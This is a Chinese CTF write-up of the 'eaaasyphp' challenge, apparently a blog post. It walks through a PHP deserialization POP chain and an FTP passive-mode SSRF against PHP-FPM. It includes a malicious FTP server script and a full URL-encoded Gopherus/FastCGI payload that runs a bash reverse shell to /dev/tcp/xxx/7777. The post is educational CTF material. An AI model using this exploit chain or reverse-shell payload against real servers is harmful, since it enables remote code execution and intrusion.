陇原杯 eaaasyphp

0x00 前言

比赛的时候一会写出个pop链,一发就500直接崩溃
后面才知道没有写权限也会这样(一开始以为自己🐖👃链子写错了—)
看了师傅们的wp才知道还是自己太菜🌶
知识点:FTP SSRF 打穿内网
注:php7.2.20已修复__wakeup逃逸
一开始想用hint看phpinfo来着 __wakup行不通
bypass比较方便
在这里插入图片描述
先看个phpinfo
在这里插入图片描述
API属于是惹眼了

0x01 复现

贴上源码和师傅的精简pop
学习一下别人的链子为什么写的比你好?!

<?php
class Check {
    public static $str1 = false;
    public static $str2 = false;
}
class Esle {
    public function __wakeup()
    {
	    Check::$str1 = true;
    }
}
class Bypass {

    public function __destruct()
    {
        if (Check::$str1) {
            ($this->str4)();
        } 
        
    }
}
class Welcome {
    public function __invoke()
    {
        Check::$str2=true;
	return "Welcome" . $this->username;
    }
}
class Bunny {
    public function __toString()
    {
        if (Check::$str2) {
            if(!$this->data){
                $this->data = $_REQUEST['data'];
            }
            file_put_contents($this->filename, $this->data);
        } else {
            throw new Error("Error");
        }
    }
}
class Hint {

    public function __wakeup(){
        $this->hint = "no hint";
    }

    public function __destruct(){
        if(!$this->hint){
            $this->hint = "phpinfo";
            ($this->hint)();
        }
    }
}
$a=new Esle();
$b=new Bypass();
$b->str4=new Welcome;
$b->str4->username=new Bunny();
$b->str4->username->filename="daidai.php";
$c=serialize([$a,$b]);
echo $c;
?>

data传shell
看到dl这边也卡住了 我不是一个人

开始扫盲

师傅文章

https://whoamianony.top/2021/10/24/Web%E5%AE%89%E5%85%A8/%E6%95%99%E4%BD%A0%E7%94%A8%20FTP%20SSRF%20%E6%89%93%E7%A9%BF%E5%86%85%E7%BD%91/

这篇更详细一点

https://whoamianony.top/2021/05/15/Web%E5%AE%89%E5%85%A8/%E6%B5%85%E5%85%A5%E6%B7%B1%E5%87%BA%20Fastcgi%20%E5%8D%8F%E8%AE%AE%E5%88%86%E6%9E%90%E4%B8%8E%20PHP-FPM%20%E6%94%BB%E5%87%BB%E6%96%B9%E6%B3%95/

拾人牙慧了属于是 (字比较丑
在这里插入图片描述
tips:被动模式下,FTP Server能指定客户端连接的地址和端口
将127.0.0.1:9000作为目标实现ssrf打击php-fpm
适用于没有写权限的环境

公网VPS起个恶意ftp

FTP 和 HTTP 类似,协议内容全是纯文本
ftp状态码
https://www.cnblogs.com/dongiosblogs/p/4548770.html

# evil_ftp.py
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
s.bind(('0.0.0.0', 23))
s.listen(1)
conn, addr = s.accept()
conn.send(b'220 welcome\n')  #220 服务就绪,可以执行新用户的请求。
#Service ready for new user.
#Client send anonymous username
#USER anonymous
conn.send(b'331 Please specify the password.\n') # 331 用户名正确,需要密码
#User name okay, need password.
#Client send anonymous password.
#PASS anonymous
conn.send(b'230 Login successful.\n')
#User logged in, proceed. Logged out if appropriate.
#TYPE I
conn.send(b'200 Switching to Binary mode.\n') #命令确定
#Size /
conn.send(b'550 Could not get the file size.\n')  # 550 未执行请求的操作。文件不可用(例如,未找到文件,没有访问权限)
#EPSV (1)
conn.send(b'150 ok\n') #150 文件状态正常,准备打开数据连接。
#PASV
conn.send(b'227 Entering Extended Passive Mode (127,0,0,1,0,9000)\n') #STOR / (2) 227 进入被动模式 (h1,h2,h3,h4,p1,p2)。
conn.send(b'150 Permission denied.\n')
#QUIT
conn.send(b'221 Goodbye.\n')
conn.close()

payload使用gopherus生成
这里用脚本了,没办法,我是彩笔(之后补上)
file_put_contents($this->filename, $this->data);
filename=ftp://aaa@x.x.x.x(VPS):23/123
data= gopherus->生成的payload
取 _ 后面的部分
在这里插入图片描述

brain.md

file_put_contents(ftp://aaa@x.x.x.x(VPS):23/123,gopherus->生成的payload)
注意灵活使用协议
这样靶机先连到恶意FTP服务器
后来FTP服务器告诉靶机去连接(127.0.0.1:9000),然后gopherus生成的恶意payload当作data发送至靶机的127.0.0.1:9000,也就是向靶机的php-fpm发送恶意数据包–>执行代码–>ssrf
FTP服务器起到重定向payload的作用
vps起恶意FTP 开监听 上poc
在这里插入图片描述
在这里插入图片描述
Done!
payload

?code=a:2:{i:0;O:4:"Esle":0:{}i:1;O:6:"Bypass":1:{s:4:"str4";O:7:"Welcome":1:{s:8:"username";O:5:"Bunny":1:{s:8:"filename";s:27:"ftp://aaa@xxx:23/123";}}}}&data=%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%05%05%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH102%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00f%04%00%3C%3Fphp%20system%28%27bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/xxx/7777%200%3E%261%22%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00%0A%27%29%3B%3F%3E%00%00%00%00

关于php-fpm

在这里插入图片描述

几篇好的基础文章

https://www.cnblogs.com/followyou/p/9460058.html
https://blog.csdn.net/weixin_39664643/article/details/114977217

补一篇gopher

师傅讲的很好

https://zhuanlan.zhihu.com/p/112055947

参考文章

https://blog.csdn.net/weixin_44502336/article/details/121210310

0x02 rethink

属于是🕊怪了
之前一直在打美亚,ctf停滞了
看到同龄师傅们都tql,留下了羡慕的泪水
以后每场都要好好复现

  • 2
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 6
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 6
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值